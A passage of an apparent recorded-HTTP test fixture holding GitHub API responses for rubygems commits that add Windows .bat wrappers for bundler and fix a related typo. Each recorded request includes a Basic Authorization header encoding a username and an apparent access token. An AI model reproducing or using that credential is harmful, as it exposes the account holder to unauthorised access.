subscriptions","organizations_url":"https://api.github.com/users/bundlerbot/orgs","repos_url":"https://api.github.com/users/bundlerbot/repos","events_url":"https://api.github.com/users/bundlerbot/events{/privacy}","received_events_url":"https://api.github.com/users/bundlerbot/received_events","type":"User","site_admin":false},"parents":[{"sha":"03c09d67f983cb548f4790add004bd8bda9ba3cd","url":"https://api.github.com/repos/rubygems/rubygems/commits/03c09d67f983cb548f4790add004bd8bda9ba3cd","html_url":"https://github.com/rubygems/rubygems/commit/03c09d67f983cb548f4790add004bd8bda9ba3cd"},{"sha":"226ddc1a7e897d65b19eb6d76f2a985673bc3c99","url":"https://api.github.com/repos/rubygems/rubygems/commits/226ddc1a7e897d65b19eb6d76f2a985673bc3c99","html_url":"https://github.com/rubygems/rubygems/commit/226ddc1a7e897d65b19eb6d76f2a985673bc3c99"}],"stats":{"total":19,"additions":19,"deletions":0},"files":[{"sha":"6d47ace58ff3c07b82ecb6ec7122272314c530d4","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":9,"deletions":0,"changes":9,"blob_url":"https://github.com/rubygems/rubygems/blob/a20ea7dec437dfe147291ec8e1e18b613b3e24d1/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a20ea7dec437dfe147291ec8e1e18b613b3e24d1/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=a20ea7dec437dfe147291ec8e1e18b613b3e24d1","patch":"@@ -379,6 +379,15 @@ def install_default_bundler_gem\n mkdir_p bundler_spec.bin_dir\n bundler_spec.executables.each {|e| cp File.join(\"bundler\", bundler_spec.bindir, e), File.join(bundler_spec.bin_dir, e) }\n \n+ if Gem.win_platform?\n+ require ''rubygems/installer''\n+\n+ installer = Gem::Installer.for_spec bundler_spec\n+ bundler_spec.executables.each do |e|\n+ installer.generate_windows_script e, bundler_spec.bin_dir\n+ end\n+ end\n+\n say \"Bundler #{bundler_spec.version} installed\"\n end\n "},{"sha":"b1f4749a92b2dc14e9069e1f98d75c473809bf40","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":10,"deletions":0,"changes":10,"blob_url":"https://github.com/rubygems/rubygems/blob/a20ea7dec437dfe147291ec8e1e18b613b3e24d1/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/a20ea7dec437dfe147291ec8e1e18b613b3e24d1/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=a20ea7dec437dfe147291ec8e1e18b613b3e24d1","patch":"@@ -33,6 +33,8 @@ def setup\n gemspec = Gem::Specification.new\n gemspec.name = \"bundler\"\n gemspec.version = \"1.16.0\"\n+ gemspec.bindir = \"exe\"\n+ gemspec.executables = [\"bundle\"]\n \n open ''bundler/bundler.gemspec'', ''w'' do |io|\n io.puts gemspec.to_ruby\n@@ -82,6 +84,14 @@ def test_install_default_bundler_gem\n \n @cmd.install_default_bundler_gem\n \n+ if Gem.win_platform?\n+ spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n+\n+ spec.executables.each do |e|\n+ assert_path_exists File.join(spec.bin_dir, \"#{e}.bat\")\n+ end\n+ end\n+\n default_dir = Gem::Specification.default_specifications_dir\n \n refute_path_exists File.join(default_dir, \"bundler-1.15.4.gemspec\")"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:53 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/226ddc1a7e897d65b19eb6d76f2a985673bc3c99 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:53 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4510' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"be31e1cdf3a5f19c9d454bad064f7480" Last-Modified: - Wed, 22 Nov 2017 12:28:19 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.050377' X-Github-Request-Id: - C502:4D94:4EFF2D:B30059:5A50E469 body: encoding: ASCII-8BIT string: '{"sha":"226ddc1a7e897d65b19eb6d76f2a985673bc3c99","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T12:28:19Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T12:28:19Z"},"message":"Unified test methods for bundler installation.","tree":{"sha":"632af6b38531b0379d64720ad1cd3dbdd7c46e7b","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/632af6b38531b0379d64720ad1cd3dbdd7c46e7b"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/226ddc1a7e897d65b19eb6d76f2a985673bc3c99","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVbWMACgkQ+c8TQXJk\n+sIOdQf/W6Hl9bIcwxS9J1Un9MY4ubhjHZ1W5aH+bCWyMxSrUSm+KQqNKK+mSTy5\nr/MhE/x5AH3oASLHUrXkXU1Hl2+zXtOIyaBP1vW5JWcvkQIKbTy17ViLy5qwBIHU\nBid0yMXCAnEniGIZlFSUPG0SLoE5hMnWJSs4N/YxOjnglZAD535uLUhzmIKuKEuH\nd02tuKN5qqtbzTfMRVbMO50ED9hRWb34QtqNgZcGDpJpIsmsZuG+HzqfFGPnr7wZ\nCbeWIOX6yNdu1uE6kKHXy6KzVNgbYmY9WfYwNDhIBW44hVmOAi9mmg2V+WtOnN2X\nNRBbEjrXyPZddFKv6QH7MCv2gzcyVQ==\n=4Hlg\n-----END PGP SIGNATURE-----","payload":"tree 632af6b38531b0379d64720ad1cd3dbdd7c46e7b\nparent 7dd3af6e470845e79df384dc7e190d7b4d4c61f6\nauthor SHIBATA Hiroshi 1511353699 +0900\ncommitter SHIBATA Hiroshi 1511353699 +0900\n\nUnified test methods for bundler installation.\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/226ddc1a7e897d65b19eb6d76f2a985673bc3c99","html_url":"https://github.com/rubygems/rubygems/commit/226ddc1a7e897d65b19eb6d76f2a985673bc3c99","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/226ddc1a7e897d65b19eb6d76f2a985673bc3c99/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"7dd3af6e470845e79df384dc7e190d7b4d4c61f6","url":"https://api.github.com/repos/rubygems/rubygems/commits/7dd3af6e470845e79df384dc7e190d7b4d4c61f6","html_url":"https://github.com/rubygems/rubygems/commit/7dd3af6e470845e79df384dc7e190d7b4d4c61f6"}],"stats":{"total":20,"additions":8,"deletions":12},"files":[{"sha":"b1f4749a92b2dc14e9069e1f98d75c473809bf40","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":8,"deletions":12,"changes":20,"blob_url":"https://github.com/rubygems/rubygems/blob/226ddc1a7e897d65b19eb6d76f2a985673bc3c99/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/226ddc1a7e897d65b19eb6d76f2a985673bc3c99/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=226ddc1a7e897d65b19eb6d76f2a985673bc3c99","patch":"@@ -84,6 +84,14 @@ def test_install_default_bundler_gem\n \n @cmd.install_default_bundler_gem\n \n+ if Gem.win_platform?\n+ spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n+\n+ spec.executables.each do |e|\n+ assert_path_exists File.join(spec.bin_dir, \"#{e}.bat\")\n+ end\n+ end\n+\n default_dir = Gem::Specification.default_specifications_dir\n \n refute_path_exists File.join(default_dir, \"bundler-1.15.4.gemspec\")\n@@ -96,18 +104,6 @@ def test_install_default_bundler_gem\n assert_path_exists ''default/gems/bundler-audit-1.0.0''\n end if Gem::USE_BUNDLER_FOR_GEMDEPS\n \n- def test_install_default_bundler_gem_windows\n- @cmd.extend FileUtils\n-\n- @cmd.install_default_bundler_gem\n-\n- spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n-\n- spec.executables.each do |e|\n- assert_path_exists File.join(spec.bin_dir, \"#{e}.bat\")\n- end\n- end if Gem::USE_BUNDLER_FOR_GEMDEPS && Gem.win_platform?\n-\n def test_remove_old_lib_files\n lib = File.join @install_dir, ''lib''\n lib_rubygems = File.join lib, ''rubygems''"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:53 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/7dd3af6e470845e79df384dc7e190d7b4d4c61f6 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:53 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4509' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"42b29a49d95ebc3e5ffa9d9429963dc7" Last-Modified: - Wed, 22 Nov 2017 12:26:47 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.062958' X-Github-Request-Id: - C504:4D95:F47D1D:1C8352A:5A50E469 body: encoding: ASCII-8BIT string: '{"sha":"7dd3af6e470845e79df384dc7e190d7b4d4c61f6","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T12:26:47Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T12:26:47Z"},"message":"Fix a typo","tree":{"sha":"ffc171a7cc7dcd967f42dfdf0dc171a50510cc38","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ffc171a7cc7dcd967f42dfdf0dc171a50510cc38"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/7dd3af6e470845e79df384dc7e190d7b4d4c61f6","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVbQcACgkQ+c8TQXJk\n+sIMmQgAgGTZRMpZnJrqGFNr4rH2KRK5La+aITkQ2Alw6Lnkz7krNB2bGyktLQQC\nDQbxYYJvHywFcgKyeM6yC5o/13flK7YGh2/IOME2ZGn5MLvRkXB4/w88ztnYa5MR\nM4fVYo+Eqw9kA4BxX7IPWD9I2bekbMJqifMngnCReAbOKfaLvSUntLtptWb2GXMd\nHwJeFB9dAreQxEIm1nCtdpEmagyY+ja83iPVLdU47dMEd/3yehe2pAPh3ASTiLrC\nERNFKMZJOqo8IzlFLnK2AMC/U1ei5v/VbFjbr/Hi9QHioZY/+cPm8KCrbueSul6b\nKDct0n8X79kPcyjsTrp6r7HidPmqIQ==\n=U2Iv\n-----END PGP SIGNATURE-----","payload":"tree ffc171a7cc7dcd967f42dfdf0dc171a50510cc38\nparent 80f0f3b126a67ce876885ad4ce840509418bec52\nauthor SHIBATA Hiroshi 1511353607 +0900\ncommitter SHIBATA Hiroshi 1511353607 +0900\n\nFix a typo\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/7dd3af6e470845e79df384dc7e190d7b4d4c61f6","html_url":"https://github.com/rubygems/rubygems/commit/7dd3af6e470845e79df384dc7e190d7b4d4c61f6","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/7dd3af6e470845e79df384dc7e190d7b4d4c61f6/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"80f0f3b126a67ce876885ad4ce840509418bec52","url":"https://api.github.com/repos/rubygems/rubygems/commits/80f0f3b126a67ce876885ad4ce840509418bec52","html_url":"https://github.com/rubygems/rubygems/commit/80f0f3b126a67ce876885ad4ce840509418bec52"}],"stats":{"total":2,"additions":1,"deletions":1},"files":[{"sha":"6d47ace58ff3c07b82ecb6ec7122272314c530d4","filename":"lib/rubygems/commands/setup_command.rb","status":"modified","additions":1,"deletions":1,"changes":2,"blob_url":"https://github.com/rubygems/rubygems/blob/7dd3af6e470845e79df384dc7e190d7b4d4c61f6/lib/rubygems/commands/setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/7dd3af6e470845e79df384dc7e190d7b4d4c61f6/lib/rubygems/commands/setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/lib/rubygems/commands/setup_command.rb?ref=7dd3af6e470845e79df384dc7e190d7b4d4c61f6","patch":"@@ -384,7 +384,7 @@ def install_default_bundler_gem\n \n installer = Gem::Installer.for_spec bundler_spec\n bundler_spec.executables.each do |e|\n- instaler.generate_windows_script e, bundler_spec.bin_dir\n+ installer.generate_windows_script e, bundler_spec.bin_dir\n end\n end\n "}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:53 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/80f0f3b126a67ce876885ad4ce840509418bec52 body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:53 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4508' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"cb2f509b20b46d14d59271d112ebc47b" Last-Modified: - Wed, 22 Nov 2017 11:24:04 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.048708' X-Github-Request-Id: - C506:4D97:90364B:1C47297:5A50E469 body: encoding: ASCII-8BIT string: '{"sha":"80f0f3b126a67ce876885ad4ce840509418bec52","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T11:24:04Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T11:24:04Z"},"message":"Added test","tree":{"sha":"1e8ff66739545f9dcfeff7c5a1d757443c3529cf","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/1e8ff66739545f9dcfeff7c5a1d757443c3529cf"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/80f0f3b126a67ce876885ad4ce840509418bec52","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVXlUACgkQ+c8TQXJk\n+sIHFAf/caGv/XUxukkG/B4YEY7AnOCis0Vp9jJgcTBuO7/DXFQiBr9tZQg7SSIB\nT8DwMqeUoigEivfpiQexlhKUndnLZXfN2Vbxc3XYkRWRu3awtTicQsmaGD5FdLIk\nMPscmyEc8QuYdO/HqNlUzkPNdpP4SI1mntpOHcXBp84MmaaiilRpuRyLcrg1IL13\nOBQ+NKEN71AxzYQVoBh4XDQ+U/Dv07TQ/cXGFwq7f57Ri7PZRQ7Pqrg2LoKaiDV7\nj0rhg3Pd2zEproond+1CXseGVJjkO62ICeK0Se1EnoPnbbl5pfiGoJr7sEKJnaFi\nWtMPzuhw4OWiI/Ik9htRXKGQvEmwUg==\n=Qr2/\n-----END PGP SIGNATURE-----","payload":"tree 1e8ff66739545f9dcfeff7c5a1d757443c3529cf\nparent e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa\nauthor SHIBATA Hiroshi 1511349844 +0900\ncommitter SHIBATA Hiroshi 1511349844 +0900\n\nAdded test\n"}},"url":"https://api.github.com/repos/rubygems/rubygems/commits/80f0f3b126a67ce876885ad4ce840509418bec52","html_url":"https://github.com/rubygems/rubygems/commit/80f0f3b126a67ce876885ad4ce840509418bec52","comments_url":"https://api.github.com/repos/rubygems/rubygems/commits/80f0f3b126a67ce876885ad4ce840509418bec52/comments","author":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"committer":{"login":"hsbt","id":12301,"avatar_url":"https://avatars1.githubusercontent.com/u/12301?v=4","gravatar_id":"","url":"https://api.github.com/users/hsbt","html_url":"https://github.com/hsbt","followers_url":"https://api.github.com/users/hsbt/followers","following_url":"https://api.github.com/users/hsbt/following{/other_user}","gists_url":"https://api.github.com/users/hsbt/gists{/gist_id}","starred_url":"https://api.github.com/users/hsbt/starred{/owner}{/repo}","subscriptions_url":"https://api.github.com/users/hsbt/subscriptions","organizations_url":"https://api.github.com/users/hsbt/orgs","repos_url":"https://api.github.com/users/hsbt/repos","events_url":"https://api.github.com/users/hsbt/events{/privacy}","received_events_url":"https://api.github.com/users/hsbt/received_events","type":"User","site_admin":false},"parents":[{"sha":"e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa","url":"https://api.github.com/repos/rubygems/rubygems/commits/e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa","html_url":"https://github.com/rubygems/rubygems/commit/e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa"}],"stats":{"total":14,"additions":14,"deletions":0},"files":[{"sha":"0f56c4d1840db86272506ecc4b082ccd1edc7ad9","filename":"test/rubygems/test_gem_commands_setup_command.rb","status":"modified","additions":14,"deletions":0,"changes":14,"blob_url":"https://github.com/rubygems/rubygems/blob/80f0f3b126a67ce876885ad4ce840509418bec52/test/rubygems/test_gem_commands_setup_command.rb","raw_url":"https://github.com/rubygems/rubygems/raw/80f0f3b126a67ce876885ad4ce840509418bec52/test/rubygems/test_gem_commands_setup_command.rb","contents_url":"https://api.github.com/repos/rubygems/rubygems/contents/test/rubygems/test_gem_commands_setup_command.rb?ref=80f0f3b126a67ce876885ad4ce840509418bec52","patch":"@@ -33,6 +33,8 @@ def setup\n gemspec = Gem::Specification.new\n gemspec.name = \"bundler\"\n gemspec.version = \"1.16.0\"\n+ gemspec.bindir = \"exe\"\n+ gemspec.executables = [\"bundle\"]\n \n open ''bundler/bundler.gemspec'', ''w'' do |io|\n io.puts gemspec.to_ruby\n@@ -94,6 +96,18 @@ def test_install_default_bundler_gem\n assert_path_exists ''default/gems/bundler-audit-1.0.0''\n end if Gem::USE_BUNDLER_FOR_GEMDEPS\n \n+ def test_install_default_bundler_gem_windows\n+ @cmd.extend FileUtils\n+\n+ @cmd.install_default_bundler_gem\n+\n+ spec = Gem::Specification.load(\"bundler/bundler.gemspec\")\n+\n+ spec.executables.each do |e|\n+ assert_path_exists File.join(spec.bin_dir, \"#{e}.bat\")\n+ end\n+ end if Gem::USE_BUNDLER_FOR_GEMDEPS && Gem.win_platform?\n+\n def test_remove_old_lib_files\n lib = File.join @install_dir, ''lib''\n lib_rubygems = File.join lib, ''rubygems''"}]}' http_version: recorded_at: Sat, 06 Jan 2018 14:59:53 GMT - request: method: get uri: https://api.github.com/repos/rubygems/rubygems/commits/e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa body: encoding: US-ASCII string: '' headers: Accept: - application/vnd.github.v3+json,application/vnd.github.beta+json;q=0.5,application/json;q=0.1 Accept-Charset: - utf-8 User-Agent: - Github API Ruby Gem 0.18.2 Authorization: - Basic ZHVja2luYXRvcjo5MTgyNzc3ZmYzYzAwNjc5NTE5M2E1NzBjZGFjMzI2YjY0NDU5ZGM5 Accept-Encoding: - gzip;q=1.0,deflate;q=0.6,identity;q=0.3 response: status: code: 200 message: OK headers: Server: - GitHub.com Date: - Sat, 06 Jan 2018 14:59:53 GMT Content-Type: - application/json; charset=utf-8 Transfer-Encoding: - chunked Status: - 200 OK X-Ratelimit-Limit: - '5000' X-Ratelimit-Remaining: - '4507' X-Ratelimit-Reset: - '1515251555' Cache-Control: - private, max-age=60, s-maxage=60 Vary: - Accept, Authorization, Cookie, X-GitHub-OTP Etag: - W/"1c206500b38131c5e0f7b19e4bef96e6" Last-Modified: - Wed, 22 Nov 2017 11:01:22 GMT X-Oauth-Scopes: - '' X-Accepted-Oauth-Scopes: - '' X-Github-Media-Type: - github.v3; format=json Access-Control-Expose-Headers: - ETag, Link, Retry-After, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval Access-Control-Allow-Origin: - "*" Content-Security-Policy: - default-src 'none' Strict-Transport-Security: - max-age=31536000; includeSubdomains; preload X-Content-Type-Options: - nosniff X-Frame-Options: - deny X-Xss-Protection: - 1; mode=block X-Runtime-Rack: - '0.062539' X-Github-Request-Id: - C508:4D95:F47D2C:1C83553:5A50E469 body: encoding: ASCII-8BIT string: '{"sha":"e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa","commit":{"author":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T11:01:22Z"},"committer":{"name":"SHIBATA Hiroshi","email":"hsbt@ruby-lang.org","date":"2017-11-22T11:01:22Z"},"message":"Generate bundler''s executable on Windows platforms.","tree":{"sha":"ac858904eb982e97d3c0f12258813199bb372957","url":"https://api.github.com/repos/rubygems/rubygems/git/trees/ac858904eb982e97d3c0f12258813199bb372957"},"url":"https://api.github.com/repos/rubygems/rubygems/git/commits/e5c82b688bccf60b439fd1b9f1c6a81f9d5b74fa","comment_count":0,"verification":{"verified":true,"reason":"valid","signature":"-----BEGIN PGP SIGNATURE-----\n\niQEzBAABCAAdFiEE50LR90JOo/3pIvdm+c8TQXJk+sIFAloVWQIACgkQ+c8TQXJk\n+sKMSggAmQP7BWjLuUcUwgMEZwLfwuCh1HsyR3QAYOrou9FzaMhEIOx7EqR024ay\nji/jBCMmgOy2EKd/pFHnQ84LlGYD/IcGmbok0fptrx/Gqih69XdcTwZicEWOWfhH\nOIfjxEnWPTX2UEsxkoMtgS1/EABRxXlTIPLeKQ0sPzj6u1wzuN7RqfIudf6Aa382\n/xwQeQgl0RQxjcSRTBIsPJIF+fsaTPGzbJB1/VnlcWntsNdnxNEo5CB1byeo3mgW\neipiT8P2KvgxfDoCWPIVWj5IErzn9gcrDMETl1lwEqUwcL6Dyx+8Q4ln1Fj4FXt/\niR51bzcBX84v2AqoNEgxzugT3xAxwQ==\n=lx/p\n-----END PGP SIGNATURE-----","payload":"tree ac858904eb982e97d3c0f12258813199bb372957\nparent 03c09d67f983cb548f4790add004bd8bda9ba3cd\nauthor SHIBATA Hiroshi 1511348482 +0900\ncommitter SHIBATA Hiroshi 1511348482 +0900\n\nGenerate bundler''s executable on Windows 